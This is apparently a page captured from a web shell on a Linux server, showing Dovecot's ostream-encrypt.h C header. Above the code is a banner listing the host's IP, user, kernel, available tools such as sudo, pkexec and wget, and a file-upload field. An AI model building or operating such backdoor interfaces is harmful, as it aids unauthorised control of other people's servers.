| Server IP : 216.92.14.13 / Your IP : 216.73.216.171 Web Server : Apache System : Linux vps4089.pairvps.com 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64 User : rmlac2fmr ( 1040637) PHP Version : 8.2.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/local/include/dovecot/ |
Upload File : |
#ifndef OSTREAM_ENCRYPT_H #define OSTREAM_ENCRYPT_H struct dcrypt_public_key; struct dcrypt_context_symmetric; /** * algorithm is in form AES-256-CBC-SHA1, recommended * AES-256-GCM-SHA256 * * Algorithms (both crypto and digest) *MUST* have OID to use it. * */ struct ostream * o_stream_create_encrypt(struct ostream *output, const char *algorithm, struct dcrypt_public_key *box_pub, enum io_stream_encrypt_flags flags); /* create context for performing encryption with preset crypto context. do not call ctx_sym_init. no header or mac is written, just plain crypto data. */ struct ostream * o_stream_create_sym_encrypt(struct ostream *output, struct dcrypt_context_symmetric *ctx); #endif